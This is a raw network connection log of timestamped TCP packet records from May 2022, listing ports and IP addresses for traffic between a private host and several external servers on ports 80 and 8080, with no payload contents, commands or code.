May 23, 2022 09:00:01.143222094 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143280029 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143311977 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143349886 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143405914 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143445969 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143501043 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143621922 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143646002 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143692017 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143728971 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143737078 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143739939 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143774986 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143834114 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143851042 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143961906 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143999100 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144085884 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144141912 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144160986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144176006 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144180059 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144186974 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144232988 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144243002 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144275904 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144292116 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144318104 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144328117 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144361973 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144368887 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144403934 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144423962 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144444942 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144496918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144505024 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144525051 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144603968 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144609928 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144618988 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144671917 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144682884 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144726992 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144764900 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144769907 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144778967 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144798994 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.144845009 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.144850969 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.145358086 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.145977974 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146058083 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146095037 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146106005 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146116972 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146167040 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146209002 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146212101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146218061 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146265030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146270037 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146305084 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146313906 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146347046 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146349907 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146385908 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.146395922 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146439075 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.146889925 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255306005 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255331039 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255350113 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255373001 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255422115 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255440950 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255453110 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255475998 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255480051 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255542994 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255572081 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255587101 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255598068 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255625963 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255631924 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255650043 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255670071 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255682945 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255686998 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255714893 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.255820990 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255839109 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.255867958 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256050110 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256057978 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256076097 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256124973 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256134987 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256217957 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256237984 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256254911 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256300926 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256311893 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256325960 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256328106 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256351948 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256370068 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256400108 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256413937 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256465912 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256531000 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256541014 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256560087 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256577969 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256602049 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256608009 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256612062 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256622076 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256628990 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256645918 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256658077 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256669998 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256675959 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256694078 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256699085 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256710052 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256711960 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256728888 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256742954 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256755114 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256772041 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256783009 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256788969 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256789923 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256807089 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256818056 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256824970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256830931 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256848097 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256859064 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256863117 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256865978 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256884098 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.256894112 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256896973 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256952047 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.256997108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257014990 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257061958 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257069111 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257136106 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257354975 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257405996 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257431030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257436037 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257442951 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257448912 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257489920 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257500887 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257622004 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257639885 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257692099 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257702112 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257920980 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257939100 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.257981062 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.257992029 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258145094 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258161068 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258219957 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258230925 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258343935 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258362055 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258413076 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258421898 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258559942 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258577108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258622885 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258631945 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258743048 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258760929 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258805990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258815050 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.258949995 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.258966923 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259186029 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259202957 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259232998 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259243965 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259273052 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259290934 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259315014 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259319067 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259383917 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259402037 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259426117 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259434938 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259485960 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259502888 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259526014 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259535074 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259576082 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259593964 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259619951 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259630919 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259670019 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259689093 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259716034 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259725094 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259756088 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259773970 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259804964 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259814024 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259848118 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259896994 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259913921 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259960890 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259962082 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.259964943 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.259979963 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260025978 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260034084 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260126114 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260160923 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260190964 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260200024 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260261059 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260278940 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260329962 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260381937 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260399103 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260426044 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260447979 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260449886 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260591030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260610104 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260657072 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260672092 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260700941 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260718107 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260767937 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260770082 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260782957 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260785103 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260826111 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260834932 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.260976076 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.260998011 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261007071 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261020899 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261075974 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261085987 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261106968 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261123896 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261169910 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261179924 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261218071 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261234999 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261271954 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261274099 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261288881 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261307955 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261320114 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261385918 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261403084 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261429071 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261437893 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261506081 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261523008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261554956 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261565924 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261569977 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261594057 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261612892 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261641979 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261667967 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261684895 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261713028 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261718035 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261768103 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261785030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261811972 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261821032 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261851072 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261868000 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261893034 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261898994 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261945963 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261962891 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.261989117 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.261998892 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.263317108 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:06.144578934 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:06.144756079 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:28.952290058 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:29.125766039 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:29.125915051 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:29.191968918 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:29.367532969 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:29.380646944 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:29.380675077 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:29.380769014 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:29.387454987 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:29.560986996 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:29.563445091 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:29.563555956 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:32.687026978 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:32.773001909 CEST	49177	80	192.168.2.22	128.199.252.32
May 23, 2022 09:00:32.860445976 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:33.541145086 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:33.542254925 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:35.773139000 CEST	49177	80	192.168.2.22	128.199.252.32
May 23, 2022 09:00:36.562963009 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:36.563009977 CEST	8080	49175	173.82.82.196	192.168.2.22
May 23, 2022 09:00:36.563081026 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:36.564042091 CEST	49175	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:00:41.779723883 CEST	49177	80	192.168.2.22	128.199.252.32
May 23, 2022 09:00:54.490077972 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:54.758860111 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:54.758919954 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:54.759550095 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.038351059 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.038460016 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.042227983 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.042257071 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.042273998 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.042326927 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.042361975 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.307456017 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.307523966 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.307662964 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.312773943 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.312836885 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.312910080 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.313046932 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.323580027 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.323627949 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.323657990 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.323811054 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.340024948 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.340126991 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.576318979 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.576380014 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.576416969 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.576498032 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.580034971 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.593415022 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.593452930 CEST	80	49178	138.219.41.210	192.168.2.22
